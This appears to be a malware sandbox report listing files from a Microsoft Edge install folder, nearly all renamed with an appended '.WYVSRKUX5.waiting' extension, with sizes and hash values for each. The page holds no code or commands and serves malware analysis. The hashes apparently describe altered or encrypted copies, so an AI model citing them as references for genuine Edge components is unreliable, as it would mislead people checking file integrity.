SHA512 6c783afcbdb83aeacb04b65891158f11bc9430de5f54930f2dff5425882e478ca861a13480722c53ef83cb49e47dc1a43212c3741c8af0193d60e79c40f17295
SSDEEP 12288:B6Veo0xU2eCcfc8d2kJzyJKToI0vuJ0TweUBWXFPnFKw+ThP7:odhCcftkkJzyITv0vqveUMtFE
TLSH
T11BC423795496A38A51F817623EC23DAD6CBC59CA5827F7788EDE3D770C0A630B4C8B41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

oneauth.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\oneauth.dll WYVSRKUX5.waiting
Size 5.4MB
SHA256 99fc579ca2223c0ba262650134783c47face1b619efe98dbb69f22aa72d200d0
MD5 aefb2b72fa1bb3b3dc9ce9f5aa84359a
SHA1 30c78c90c0175161cc8cf62ecbb0f567e9164453
SHA512 75c4e564ea35dd1ecf17c8532030e6804d86dde9604f75929bd60c08e4d0e883ad64503d352c17205da3a6e5d0b60af8c5e8e5cf996c16795a0aa753e433cf28
SSDEEP 49152:YW9NLPl6Afim+Sex+ZXYZu8LSjQWQZsXkU9oKMECdLGl9Uq3izvG8gIAcIx0kUnF:Z/zl68OSex+ZjtZIAfbLhtTLPI7M0H
TLSH
T10B468E017A96899DC48CC8B5828786639F2170DB0FB7E6DF40C5122D7FBB7B95F29128
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

onramp.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\onramp.dll WYVSRKUX5.waiting
Size 443KB
SHA256 c4727bbed4228cdb3b726aeeee46396761e79276803dddbfb63989a74e16cfd6
MD5 474afefa5090bf98cb8811d80a3bd24e
SHA1 c61db284158807a69763cc5e925264127b0d536d
SHA512 8b58b913bc33adde355031b72de0e3b6153150b7f82bba062abb663f31b8af5ccc1b1ea7a889dbffc205a0d539d8d65434f2ea07df87c98d7982977123e821dd
SSDEEP 12288:sLx/vOvjRyCSMQi1LNT+CtqCTRVb2lhlfF6:sLgvjRyNRi1LNNtqCTSZF6
TLSH
T10AA423063C433E98FE53F74D6072DCA1C26E265125751B9FA6EE7A304E7C909B14B193
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vulkan-1.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\vulkan-1.dll WYVSRKUX5.waiting
Size 922KB
SHA256 7b22a2a479e597745c6d630f34bc1415cbedab95ca7342bec147347be915558a
MD5 5866dd2659f36d217ec4d4a21ebd9c1a
SHA1 6766fdf0abccf3528d9f5716d81d686adb365036
SHA512 5b6780e7a8014504b6c3f4cd14cb863747d642d2028567f6b47df29bf8ec7defaefa033fe9d876b31dd1a0b5a4fa2ed05a61e7ca2a66c51620ac6adfec378404
SSDEEP 24576:CojBgsshkwMYdZ06CbY3oNWf9DbXtuSMYlbKb:C0uzOVqQso4fFbdu9YxKb
TLSH
T1F61533D6A5F0F7B40A2F0AA47EB5CEBFF65D87325349CBC714A2714062792103E29267
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wdag.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\wdag.dll WYVSRKUX5.waiting
Size 234KB
SHA256 47d1ee3e269020cfc490d450c304441c0ea2b3d07f685e3ee5c763c35e73b10c
MD5 c822c46fb15c234a74b7a8dd380e8f98
SHA1 61596235982ab0d5b40b91aa33112882365bcb43
SHA512 780a55d7a8fbf269894e9f069a32c5caa3560e1e75d8e4f9213c8c62cb1a490b1038a5f4fe56faf0021aa7de27466fe00a2ae97204826b3c1fbd6cdcc347d4a6
SSDEEP 6144:l2S9reEVx2hzBF6OLDjpoaSwE7qWSH+lQrC5AOEioSkTj:D9reEHUXjaafWy6QrCKnff
TLSH
T122342360015937ADCA78A9FF20B89341D93F9BFF016B4832655BC7DA8E5A18DC710EB4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

az.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\az.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 1a13cf8fa0559a5389c10054e90ff5af7553df7292e0c499b0eeb1e82a1062a9
MD5 4b8aece9003aa6bb3241f4d143113617
SHA1 4463deaf19b69edc22d567e2acf3196570b7c124
SHA512 eefaee83595352366e4f5c49d37069b497c3a7c08223444a6f2d9a91bb3d6ca84a85233dbb43c920322bdcf1cddad8f6b23cf897b488b6ceb2b9a04d471050c7
SSDEEP 24576:z0036tIKKomg3wR1dpjhLIqHY16EK2YpEzcVDQGi95A7:f6SKWgAR5jhLK16EKo4VDQGiq
TLSH
T178451285390E4C4C46ED138D04619FB7F84E6BDE39D1AB0B6A49162C63CBB2BCF9454B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bn-IN.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\bn-IN.pak WYVSRKUX5.waiting
Size 2.2MB
SHA256 130f0e47ceb883755435de78c025b3676ad830580d5ce6b5eb72308330cdc457
MD5 0557e13a7cea9f53412cf7ae1fb5488a
SHA1 c9eadefe981cc5ada0eefe7816d04180605cac85
SHA512 94ddccaabd4b62340c978bf6533dd405fa1e196ae4c5126c654206a5b6a6734bd1c844dc20e19266d233f7f2371c370dabd61ead15cdb0fa836b57ce02543b20
SSDEEP 24576:Lc2yXQtx2hll8UMCsvZd+dwpi+pSCdMIZ//U2oaBElRaIvWr:3yAtxCMUM7Zde+UQboat
TLSH
T1A7B540209C6E81B2A8C5CDC9434C6370C113AE979B66F748DC17A2557DAEC7C8DADCB8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bs.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\bs.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 4a94e7ed519926e8cc3b3e40ecddf41c62689d84ac3a1c3c3eceb54a25c7d6a4
MD5 1943143a079d1cce200009de8629f32c
SHA1 7ce6cf55d1b7940135d5efc42d88c09c16aa3ce8
SHA512 e4a428304a25d96656ced876bdedb7f57ea5e26b4c84432806295cd0dc0a4e6cc2a1e660fb28919435f635800de7e075480f39b997c25d8cc16aa9dbce6278f4
SSDEEP 24576:Z0HClgUiySfYNevlXUDQznP+ux/hhXLyNJfFvFBAXW:Hg8FAXuQ7ZXLyNJhFBAm
TLSH
T1E03523197E25460B18D192C1DF65CB615AEE8EADCC4A0EFB2C8F418FE5D3E1D62F4980
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ca.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ca.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 962b1e851f5685a4bb35959c428a34f2e0cd838ce1cfb80c6d2d4b176df9b318
MD5 65434cd6a7dfc8066fc872cef3a12ade
SHA1 2e8c1dc182d532b1e4260a83e395fc0e55beacdd
SHA512 c464468ba0917d94cbad16261e93165215955c91fa3855144a7032433db012926e7156cf937259c91266ef1f0fb532141ee60e9fe6973c1f44768991dbf51a33
SSDEEP 24576:ttsxB0B5f8H19AHPyCvcmc7g9w3y7/HvMhNUl:4cP0bA7vw7gwSvMhNUl
TLSH
T16545123297CD27A288C3235E7B45D567F08CDAC4BE19E250F4AF832912C9E9CD177986
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

de.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\de.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 a7e89a22681cdf33c4038087d859d2eb3d8eec970bebe5928e7740b257975454
MD5 70118d249d595d5e7c5a3689f2e319d3
SHA1 fb1c22badb60a62bc15f0386fd8ca044bec05fc5
SHA512 0c894e560575f647afe128d94f467c7c37579a14efc43518572bb0306482d5323e4f021feb18a35d48d45d3b982f03cafec6c76ac4b7357189f2af588c838cc0
SSDEEP 24576:4TGFSltNGdOckpbo36pq58xaygP4vFsE4sqURS7XKr2nQzwN5aCM:OYUt4dONpbo4q5Ir5duUOZQzwNq
TLSH
T1EA351263EDDBA1689686375AA200CDFB3F0EF37BC34A4619119AC0750B53370D5EE1A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

el.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\el.pak WYVSRKUX5.waiting
Size 1.9MB
SHA256 6c0cd4c55ef144312c1eee7b144bcfc7bd6682d95c0fd8de956ffedd769ba7c2
MD5 832c67cc36e21b536856c67a222d3eba
SHA1 03e569e99946e916262fad17ee6bbf9a14e95a1c
SHA512 d74ef8ba069c1d45bdc63d14bcf0636b7aae565feb8eefab541fb9bf7775a7d94f45c15dc62dbb0dd03bb238010b6c58566f4722edc01681eab2ee05192f77c1
SSDEEP 49152:YB6GSIRZKcIr4lBubwbGFu5NOheHl5lbU7GeGRSarmzfnYtYHW8zs1M8clTkhbtx:Yg0ZKyubwbi+bXj
TLSH
T1B095E9EFB0592DEE8045950784D8A07C77866D6DE749CBD8722DCB20BEF90719A21E0F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

es-419.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\es-419.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 9f7f44b16a76d93851742918853c163c3c2533d601784d8e5a882461eb971f82
MD5 4f41b6bbd369daa62fd2b1fc2abfb201
SHA1 96abc04b142da04976a1b81da5a0e53bc17a321c
SHA512 7f73206e081e94de73c77d3341bee4324b68f0ad16e365c4eaaca9ebe928f2c5b4e9bf2eadbdf84307a654dbba128672793b54c6845571769aa32fa7c1378564
SSDEEP 24576:xKtKq4bYovhBNQEOLwQFE/Jyg3SSMvBghvlPNbvTR:lXTUL1gKvuJJNbLR
TLSH
T1B8351256E6C81FA370D22185FB42C563F0C85416794CD2A6F4AAD37622DCBCCD83BE59
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

es.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\es.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 1222aa701aca107c6f743c962ce364d57ffb38f2d10164c5f26cd9b64249d212
MD5 aaa41491a8088a4f891f94936d1d49db
SHA1 124709f01b9063433730ee588add086b915fef32
SHA512 19748c5e013c32d967013c78d402fa78494be4cdb7b2716e343dd6b4faf352423512a9646c39308bba8ceb8ac20ec8913f5ce333b46c2ccbc9733dc195250f46
SSDEEP 24576:iAFM3yNbU+lrAFd5sM820ai6bSFfWbvkGNxTdPblOdUx:iAFhNZB1M820h6+YZTdDlOex
TLSH
T1303512219ACC1B5364C32246E743D5A7F1C898567808C6E6F0EBD26662CCFCCC56BF99
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fa.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\fa.pak WYVSRKUX5.waiting
Size 1.5MB
SHA256 1dd826cd8ab02e409113a7ac1aaefb5a24727105fd48d828bb14ea20d54df2d6
MD5 290f93832b9b3f831b6ac9bc7dbf1289
SHA1 43a8f56eae091791fff8e9cc1255e3772dcb53bc
SHA512 750d74ee0ddb4b8b00741e04a987c4fce796d8cf22bd7fdaac6e64e0d878a1c361b1b59201095ed7a272a29ffa5badeed5fa68940efde8d92fe7e42cd43cc690
SSDEEP 24576:Ozd8C+eDJKPSLLQvW2jRErEaThFyqOt9A9FJRyAh273nB/E9eV49zClQXPKkbCRK:iyveD46LLQfjREr3yq+W9/Ryg
TLSH
T154754CD56AAC9AB25746C91341D33838C773EF12D348EE40F8A10B660DA5B179B4FA37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fi.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\fi.pak WYVSRKUX5.waiting
Size 1.0MB
SHA256 5aae5e86dc90db9d6a5965bb86efdedc5df98221fde45c0ba7ba0f7d887c315f
MD5 0f2157d634869e85a935cbf81b6a55d7
SHA1 ae62b2c7a19546c574c642624f185f5b59289122
SHA512 3aa08f85af0d3630af582330d1f70a4875ed7346a815cd1c6a2182db97f87ecf2759f4dddaadcd13c92ead02e18c0fcb99372b82cfaca3215a5d4e7bc2c2d90c
SSDEEP 24576:R4PibdMeMV4x+cGtXtYAbIHN549zw1u57cN7:R4J4DGtXtYAC4ifN7
TLSH
T1853533C2A166F69439E0275C6C22EA3C5EF5C541CD86ACBAF41EFDC94A778C0D80499E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fr-CA.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\fr-CA.pak WYVSRKUX5.waiting
Size 1.2MB
SHA256 afe5a9ce8350ae3f6e80c380f8191c4865e41fee65256c6b0aa1ebd74516bd38
MD5 dae37daa6eed02e1b890033f548c8332
SHA1 2a480448fcdd3e4eb27e4eb334097bef9bcbab33
SHA512 84fa1e476d12a295defdcd3661b75e5ae4f8ae761b9e25e565b89c6cc5c39e1e27f86386afabe533de6d4d6cca4276659ca78e95099b83ba1309b77ff96c5e5a
SSDEEP 24576:z0kVF+bnJIPPiG8exxsGZjHBwn/oNWaDYJ8CNMwtTmBf+lZ:gkVcY78e5hDra5t2+lZ
TLSH
T16A45029FD5C426C655C21292BF02DAB3AD38C699E119C724E86F56D10387CECD39B2EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ja.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ja.pak WYVSRKUX5.waiting
Size 1.3MB
SHA256 6439086936fd8c9b4fe8bb886c55fb10dbf17931e834c8be464d9e81efe665fb
MD5 04e6eee3c61c4787569b0a50e1c7bb5e
SHA1 4caf2d8d06c2418020580385f1ef2d6dd087b5c2
SHA512 143ca0fe0dc7d9ed874027ad5956d530a347d37dc15fbe1f9df90d91162847c00cca82e8c63741bcf2ddf7a3d22d5fb6cffff58462b40e8de8cc88166d26951a
SSDEEP 24576:3ZAzlAv4Hduyfh0dgWP1VNF+rVspWasdLGJNZQnUNW0S+FgG5S:oAVwOd9PI3LWFNWEgL
TLSH
T1A255CF7CE3C5A9369D2053A32C4D7AD4750AAC9BECA23736403ED439BA717CDE411AB4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

km.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\km.pak WYVSRKUX5.waiting
Size 2.3MB
SHA256 d718027948d10aac8b2bb6820dc6feb68efb674099236b4b4a5f0a84e3818f87
MD5 7b6f62ff48f59ca26e97975f34b0544d
SHA1 b9e1ab1a5247699cc4d3c5bc413c35add2b54829
SHA512 2e9afc45a47bcf8d9c3910fa49d1b7cdca331989e75bbf39798f5cb7272c754930db6054630bafe94e95450a0bca24f7149e455bba244077409b211524177c9e
SSDEEP 24576:inp4KxST19c1emYomyPv4PRgOiKobAVN9AYO1VJY9gGVt7IXV:KxW9MjmyI+OiKSo9AB8T/IF
TLSH
T1A1B563105E94BD75413E73C3219B6F4849AC9F738C5968CA385D3E9EEEEAF53A20204D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ko.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ko.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 fe8a44ba9e3f23ba7a2cfab7bec82bb834d69b09dcef543d497d09dccc1725fe
MD5 73fa5f977a2657ddeb53a5ac2c89999d
SHA1 08dcd7f9730be7ab2998456efce8971052e97786
SHA512 d5243fa2ec8afd04d3b88cf3c6b1f256f1796cd1a52619005d1e102e736860ff48d135bfcaa40064ebc7525090d2e4d77a502de60bfd830ae5c713625a1f6455
SSDEEP 24576:N8Mn+qyF2FzxK4leMlDvjaBxibVQd3rH4//+Hi9G6vKTXrxFe7Iu:hhAqxK4leuOibSnHizKPxc0u
TLSH
T1373522F231DF66C9228699C169E0FEA993C4C077EF8706E4DC84CD048D996E354879BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kok.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\kok.pak
Size 2.0MB
SHA256 e0e83e31adf7433231f94eae8f3285c4e9b9f72a4839516c012b72e8fc34f7d8
MD5 c9c866b2d3455b45c4aa187e1abd229a
SHA1 76f230ead7a3dffe914245c6264feee333dc4efe
SHA512 040aa477fe194477c3597b0651ca81f0cd12b1517ab25ce24283f5e3ed5559d9139f39604f1d080b0307e844ea8caf27da7e6398babb5044f5a3546f2c3de9c9
SSDEEP 24576:7fajilF+LaZVsGUAF+dXCbSqyQESMKVqLeGZ4k1mT+KtxSd:LtF+Ls7UAF+YSvOM9eUng7Sd
TLSH
T118A5924CFBB9F3594DEC788E3A090D7BEDFC2171D3B8629648A5B2DB4885CF401495A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mt.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\mt.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 00516bc899428b5a9bc871cd8f78a10e9039f9514f9de906112c87299b1059f9
MD5 7336f0cf7fd00b17f1ebdcf99ab7a22c
SHA1 84cc81c2e263d983ee74c620f7b4f8a216d3236c
SHA512 f2eac8f777a42cb01e41da4d72361825a27652d8ae6a7feeb202ba9486473b087e1fbb235e88ff664517a63adf7244b470873d5188c98db2481870892bb0f763
SSDEEP 24576:yKZj54f6PIyqc1Q9EyUqy3WStceSLX4xQliVtR6M4L25jXBs7TRVuSIsY0k:vY8InIcEyUXj2ec4pjRR4q5jRsnRVuSs
TLSH
T1F9451252EBF309645E98608A6800D7B9FC2D18EB2D46DDA078DE171DABCEFC1D1D3216
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\nb.pak WYVSRKUX5.waiting
Size 992KB
SHA256 a84b4babce2a8c8b145a2b0e3315ccad5e9362ac671936d54d6743ce2008bd0e
MD5 47e5ef44d04da7e7d8a957578a3fa940
SHA1 8e517bd9756da21abd216b5c99640f1a33acac18
SHA512 1c54fbc09b51d642699013750aaa00e62530d4a96539960c72c7be2a29ca6d48e7d66eb8221f455eb3c8a4d0ade190d46976bd4d7699b6b8c2c49a507e266626
SSDEEP 24576:c9yD+0FFCci89LBmINgXsKmTCJLmt7Qep1It4yq/8woM:c9ybXXrBKmimWeDIOpUY
TLSH
T15625334B86BFA1A561CD2D20AED8DC61CF22589F74567338CD8AD524A8F7A3F54402F3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

or.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\or.pak WYVSRKUX5.waiting
Size 2.3MB
SHA256 3be8f59b00dc79a183716ae01ef4390f4664e726ed8a25035cf64af4f97a9b70
MD5 05126717f655bd56ecca253f38f3f860
SHA1 cff609310ddf64a0d731eed983f39d5023f3dfb4
SHA512 7c469a8e981a76175bc9c776e0bb88f40767e1fe66c60ce5665055d354e05891bd15c9e1283c301f2df69846defa65eb8a2ab38261d393ba4411b43ad4fa05ce
SSDEEP 24576:vmoNe6hR6lHe8AL6EFTj6/9uTpPPqr0EeA1t8Uk2iN3R0XaEWf5KHz:+arGgnTjBJPqgfA1t8Uk2iN3calf5KT
TLSH
T123B52E20EDB8EDE69CF143A4B499E239646D03B5F9D76BC80740A3C30922CEA4FDD559
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pl.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\pl.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 6e46b27c13bff3613016fa3ce2d533479e451e10488a61f217cf05423dd2883c
MD5 f4aec894b8b863b6e2da8375f7bfd7a9
SHA1 270abd3bd194940879040545dbc29ecd5545d60b
SHA512 d886631e7ee2517af395adb8abff50a7ba26b4832199b6da73dc0333e19753054959651d3e72c66fbe7cc604771730172d15099f520bd5c2101fbfed7070bb0f
SSDEEP 24576:JxUZwheIiJNiQh/4tmSu25FjkE7lVkGoao1jzsLBp:UZ1IifB4cb2LkE7lVBob1jSr
TLSH
T17E45124CD4E2DA5F0FE008D1E7E36EB8584CD8B5899C8B2F746F0805239765A6CFE859
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-BR.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\pt-BR.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 a79305418d38649611330839ba68e52c2e787a8b8465873f44952760f7308d50
MD5 719d78e5d9a22dc2e33a78136e497ceb
SHA1 cf894ed80244e64f347b1135f18e99be3ac899bd
SHA512 9c5ee3f4deee3ef757f9da28ea6ce5b03185b5e608c9481460eeb99c38066940abe4838b506c17771679b02e022e2066f5d02ed502d4a6037824c6e0ad8b5b0a
SSDEEP 24576:80vqsX0JW/C5LLXVfgA+V1+AyGWTZl5NZJom:80EJvLhEVyGWT1Njom
TLSH
T19135236D5BCD0216892713827B2BAF53FAD03175BC0ACB41EAFF420912C9D99D132F65
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tt.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\tt.pak WYVSRKUX5.waiting
Size 1.7MB
SHA256 e4935172de629d24f30e7c21c3956a0bb81211612713863af209c4d15c144488
MD5 02f5531cc33213b7071e4cec0732c28c
SHA1 dcb40fba163f7968c583c7e820e882c05dbc5723
SHA512 871ef109acc617196c323fc099a4527f5c7e720cc3158b009d3d037ff1fb9fb2bd32cceb2bfdc0e1a13a48f4ce58fb9777438129d610266006023c8c7106958e
SSDEEP 24576:05ltzkdwngHCxQMq9E0cSwkUF/vDA1ADwvDHT7KZ9ePNBmVak:6DzkdwE8q91UF8AGTWMNkVv
TLSH
T11B851851A28A38EF9241E6422C04FB487CDA55FD3E0B7623641DBD7E39E3274036A75B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ug.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ug.pak WYVSRKUX5.waiting
Size 1.6MB
SHA256 c09f372bc8728c7327a8e90552bb111b91808fe7132c60303f072e7335e69cda
MD5 f1c18bdc433101edf8f8a527db5d3c1c
SHA1 62ced81a1159de7ca19b4b88238d2a71c60ca020
SHA512 20a9fcf94bff5297fbc49466bf8870442895fba3d1aeecd4eeed1d660524b57234f0586aceb74cbf851889f6ed423a77f36ba0a9c60698d3b585c8cc03a7db1e
SSDEEP 49152:erE/hIvcL+/mb1FW3gdJDQOU2Cj5XtG8mRLsHtl+nGxJjjA7lsbLmDcJfARddrfC:eGL+u5ggdW
TLSH
T1F5751AFD626902326E4BE90E8351B024DB3A3D338F02ED59F1476219CC971766BCAD79
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Content WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\Content WYVSRKUX5.waiting
Size 8KB
SHA256 79f01c10ecc68925ebb0ae960656eee9ac769127e24ccd490575f63f24698fb9
MD5 bee09c72d6128998dc20ac367ab82c8c
SHA1 5637fbfd76f046be3b7cbffcb3d74e0411f6d896
SHA512 0ea1ca05d31d6759cf244021a0c2cd401bc8315ab2c89111eb19b69a8b3cbcf65bd204869dbee38dfb1d7e9afe2f4cbad7e0cf5404233ae4f25fdd3a417cd6a1
SSDEEP 192:vwV1UwftamECX79cSI/4CuLKUsvzwz63eFCodV58M9IzUZgExNmk9g7i+S:uBnZXy/Huhsvzwz6yC0IygUyuIkkw
TLSH
T10202C025018E8914920F3D6BB424EFF6206315F5D6B985944C365CD233E6A63C1BE737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Fingerprinting WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\Fingerprinting WYVSRKUX5.waiting
Size 2KB
SHA256 1a2e869f872b44f7194a9d490902431fcf279a5a8c073754296c4949300039c8
MD5 879e04d97ff83474ef3441e773557e77
SHA1 4453effd8bc18b1e1e2eacd1edf7a10eea86e1b8
SHA512 6c9e15d93e8f0656f351c478ffac63a1ecdc6bd5fa11b7ad43efc88f419a310946ef76bf571476c2965957160aa56aed8dff946979b741af8514e6654636a2cc
TLSH
T1B4515C864189173BEA82651FD5B9EC52F20B0A1E77302B88023076B47357D8EA0FE1F6
MD5 SHA1 SHA512 TLSH

Submit Download

TransparentAdvertisers WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\TransparentAdvertisers WYVSRKUX5.waiting
Size 1KB
SHA256 b69e31b210e2a4bc94fcb881c9b29d403bf4b822106c44474d57e7ada2a973b9
MD5 2e6942a5cf52a35bc8f6f307dee4675a
SHA1 c45d6d326bb69260c8e3841afe7ce169c87ec4d3
SHA512 c591ab3d09d6bf8a437513f9a181d13fb32848bb0bf30a2fe4f83b1fce014591f81400252cd4d4fc9891dfd5b5903b61a03b0ad3e8da37dae0077d18d0d4db9a
TLSH
T144310C9181C664BA4B86625D5114EDB36D430820B2786FC10835459C42E5E4F98FF5FD
MD5 SHA1 SHA512 TLSH

Submit Download

Cryptomining WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Sigma\Cryptomining WYVSRKUX5.waiting
Size 1KB
SHA256 ecf1b22c2e7abd9f47920935c13dfd598460508e50ecaeb5e2bbba2d2a5bfa10
MD5 f192601695bacbe56115c9f523ed8a78
SHA1 7822420956400847a4dfcf41d99651e21856cc69
SHA512 f80d289f4ad4fe3b27d7fcc14cca9a0a3600e982c77fa6b77480d4f044a89a4b8c2c7b8e850d000fde3522337153c7b526a8bae369e381e7fe779e155323b113
TLSH
T117314E6950D7182685473A8D640CDD62684305A5B2B48F554C38126456F1FCDB4FF5F0
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Sigma\LICENSE WYVSRKUX5.waiting
Size 1KB
SHA256 14c32002e56ff08e61dedc7cadd3b596808e12621be4afebfbfc7ab8f3518232
MD5 d2c6cb0db3f7ef0c138e124f1628c8dd
SHA1 ce630c6af2b910c4d68fe5d40666a9371b3738bf
SHA512 86a12a775ff9346c3cd67e1028653f909ced896946f4b5d6c3b30e4c3f3fff6547a9ca193341f6293d0fb537bc8cd49e27fe50f70dbd0652e76e749d7547e0f2
TLSH
T1DE312C95809E283E8905399E481CEDB27FC70AE4937C46C8093E8D6C5271E857CFF0E4
MD5 SHA1 SHA512 TLSH

Submit Download

Social WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Sigma\Social WYVSRKUX5.waiting
Size 4KB
SHA256 dcb086c5e4da77ab3344ce5d5165593b048516315ab8090ca68bd54d833e30dc
MD5 84387f8a135ba09b7d81b703829a72b4
SHA1 e4bf993cd4106220fc7fd6fc823aa440b1fe7471
SHA512 e89e719dd82d94098a7e68cf5765ee20b8d356eb1271d94ad720e84880606384e2eb0f7c3b2671fcd0f94ed31ea16325a95d2f5284d91f02aa97ad52c7b91058
SSDEEP 96:uTz3eXHvGHZrOY/uFT2b0E8REGWcLAvka6x8ffQ+4G2r0xnNmksog7i+S:gzuXHvmrxlWW4ActUo3ixNmk9g7i+S
TLSH
T1B2A18C9236DA32684BC357CF1639FF963CA6560F8B12D504027F398133E2A4028E62D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SmallLogo.png WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\SmallLogo.png WYVSRKUX5.waiting
Size 16KB
SHA256 c2eba72ba1b022399510b81036c1d81314bc7af3b16080f14b2e1ba656378f7d
MD5 291ae6e2f9cc6885a9cca9e7d57d3d86
SHA1 ac2110a7171414406ab2c1b10903adbc8e4b8b27
SHA512 091f8de78cc24d97b15b95b36be852e5ab028237afec33bac5174d0c0073a3a201c9dbb997c38fa27953ad3fb03df647d13586e7a1cdba8567b1380702e26991
SSDEEP 384:mrEYDHGNv0vMQ06H6DSu5xfNRvzeCoQgtK0fHZb8nobeYTsjhIkkw:mPDHGNoMJS6DSu5xfN/oe0fHZnbeYTlw
TLSH
T12B72D045F537C0BE97CA7386BD483CEEEAD96F78749185D09CD530C0A394A1A35ED2A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SmallLogoCanary.png WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\SmallLogoCanary.png WYVSRKUX5.waiting
Size 16KB
SHA256 60d819cb227bd8c9221516d2ff7b59801163bb97c388bd11f8c71d47ec6fc6c4
MD5 a534c7041561f02e0b9a9b2c3dfa53f6
SHA1 10dbe08714c50972a31dc64291b6ee6c74721d52
